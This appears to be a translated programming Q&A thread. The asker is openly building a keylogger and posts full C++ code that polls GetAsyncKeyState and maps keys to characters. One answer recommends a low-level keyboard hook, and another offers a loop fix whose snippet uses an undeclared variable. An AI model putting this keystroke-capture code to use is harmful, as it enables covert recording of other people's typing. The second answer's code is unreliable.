GetAsyncKeyState() не работает с ключами OEM
Я пытаюсь создать кейлоггер. Я решил использовать функцию GetAsyncKeyState. Я запрограммировал все ключи. И когда я тестировал свой кейлоггер, я понял, что такие клавиши как<.>/?;:'"[{]}\|=+-_ не отображаются на консоли. Почему?
Это мой код:
#include <iostream>
#include <Windows.h>
#include <string>
#include <cctype>
#include <conio.h>
using namespace std;
string WhichKey(char key)
{
string ToReturn;
switch (key)
{
case VK_BACK:
return "*BACKSPACE*";
case VK_TAB:
return "*TAB*";
case VK_RETURN:
return "*ENTER*";
case VK_SHIFT:
return "*SHIFT*";
case VK_MENU:
return "*ALT*";
case VK_CONTROL:
return "*CTRL*";
case VK_ESCAPE:
return "*ESC*";
case VK_SPACE:
return " ";
case VK_PRIOR:
return "*PAGE_UP*";
case VK_NEXT:
return "*PAGE_DOWN*";
case VK_END:
return "*END*";
case VK_HOME:
return "*HOME*";
case VK_CAPITAL:
return "*CAPS_LOCK*";
case VK_UP:
return "*UP_ARROW*";
case VK_DOWN:
return "*DOWN_ARROW*";
case VK_LEFT:
return "*LEFT_ARROW*";
case VK_RIGHT:
return "*RIGHT_ARROW*";
case VK_EXECUTE:
return "*EXECUTE*";
case VK_SNAPSHOT:
return "*PRINTSCREEN*";
case VK_INSERT:
return "*INSERT*";
case VK_DELETE:
return "*DELETE*";
case VK_LWIN:
case VK_RWIN:
return "*WIN*";
case VK_NUMPAD0:
return "0";
case VK_NUMPAD1:
return "1";
case VK_NUMPAD2:
return "2";
case VK_NUMPAD3:
return "3";
case VK_NUMPAD4:
return "4";
case VK_NUMPAD5:
return "5";
case VK_NUMPAD6:
return "6";
case VK_NUMPAD7:
return "7";
case VK_NUMPAD8:
return "8";
case VK_NUMPAD9:
return "9";
case VK_F1:
return "*F1*";
case VK_F2:
return "*F2*";
case VK_F3:
return "*F3*";
case VK_F4:
return "*F4*";
case VK_F5:
return "*F5*";
case VK_F6:
return "*F6*";
case VK_F7:
return "*F7*";
case VK_F8:
return "*F8*";
case VK_F9:
return "*F9*";
case VK_F10:
return "*F10*";
case VK_F11:
return "*F11*";
case VK_F12:
return "*F12*";
case VK_SCROLL:
return "*SCROLL_LOCK*";
case VK_NUMLOCK:
return "*NUM_LOCK*";
case VK_MULTIPLY:
return "*";
case VK_ADD:
return "+";
case VK_SUBTRACT:
return "-";
case VK_DIVIDE:
return "/";
case VK_DECIMAL:
return ".";
case VK_LBUTTON:
return "*left_click*";
case VK_RBUTTON:
return "*right_click*";
case VK_MBUTTON:
return "*middle_click*";
}
if (isalpha(key))
{
if (!((GetKeyState(VK_CAPITAL) & 0x0001) == 0) ^ (((GetKeyState(VK_SHIFT) & 0x1000) == 0)))
{
key = tolower(key); //off
ToReturn += key;
return ToReturn;
}
else
{
ToReturn += key; //on
return ToReturn;
}
}
else if (isdigit(key))
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
{
ToReturn += key; //off
return ToReturn;
}
else
{
switch (key)
{
case '1':
{
key = '!';
break;
}
case '2':
{
key = '@';
break;
}
case '3':
{
key = '#';
break;
}
case '4':
{
key = '$';
break;
}
case '5':
{
key = '%';
break;
}
case '6':
{
key = '^';
break;
}
case '7':
{
key = '&';
break;
}
case '8':
{
key = '*';
break;
}
case '9':
{
key = '(';
break;
}
case '0':
{
key = ')';
break;
}
}
ToReturn += key; //on
return ToReturn;
}
}
else
{
switch (key)
{
case VK_OEM_1:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = ';'; //off
else
key = ':';
break;
}
case VK_OEM_PLUS:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '='; //off
else
key = '+';
break;
}
case VK_OEM_COMMA:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = ','; //off
else
key = '<';
break;
}
case VK_OEM_MINUS:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '-'; //off
else
key = '_';
break;
}
case VK_OEM_PERIOD:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '.'; //off
else
key = '>';
break;
}
case VK_OEM_2:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '/'; //off
else
key = '?';
break;
}
case VK_OEM_3:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '`'; //off
else
key = '~';
break;
}
case VK_OEM_4:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '['; //off
else
key = '{';
break;
}
case VK_OEM_5:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '\\'; //off
else
key = '|';
break;
}
case VK_OEM_6:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = ']'; //off
else
key = '}';
break;
}
case VK_OEM_7:
{
if ((GetKeyState(VK_SHIFT) & 0x1000) == 0)
key = '\''; //off
else
key = '\"';
break;
}
}
ToReturn += key;
return ToReturn;
}
ToReturn += key;
return ToReturn;
}
int main()
{
char key;
while(1)
{
for(key = 0; key <= 256; key++)
{
if (GetAsyncKeyState(key) & 0x0001)
{
cout << WhichKey(key);
}
}
}
return 0;
}
Заранее спасибо и извините за мой английский.
2 ответа
Во-первых, это очень наивный подход к написанию кейлоггера. Я на самом деле пробовал то же самое так же, как вы лет 10 назад.
Лучшим подходом было бы использовать Windows Hooks.
LRESULT CALLBACK llKeyboardHook(int nCode, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT *hookStruct = (KBDLLHOOKSTRUCT*) lParam;
// Parse the lParam value and members of the hookStruct structure
return CallNextHookEx(0, nCode, wParam, lParam);
}
// Somewhere in your program, call the following function:
// Initialize the hook
SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) llKeyboardHook, 0, 0);
Основная идея здесь состоит в том, чтобы позволить Windows определять итоговый "выходной" символ вместо вас, вместо того, чтобы создавать переключение для каждой возможности, как вы сделали.
Я знаю, что это не дает прямого ответа на ваш вопрос, но подход, который вы используете, действительно является худшим способом сделать это.
Попробуйте это, измените переменную цикла for key
int вместо char.
int key;
while (1) {
for (key=8; key<= 255; key++) {
if (i < 160 || i >165) {
if (GetAsyncKeyState(i) == -32767) {
<event>
}
}
}
}
return 0;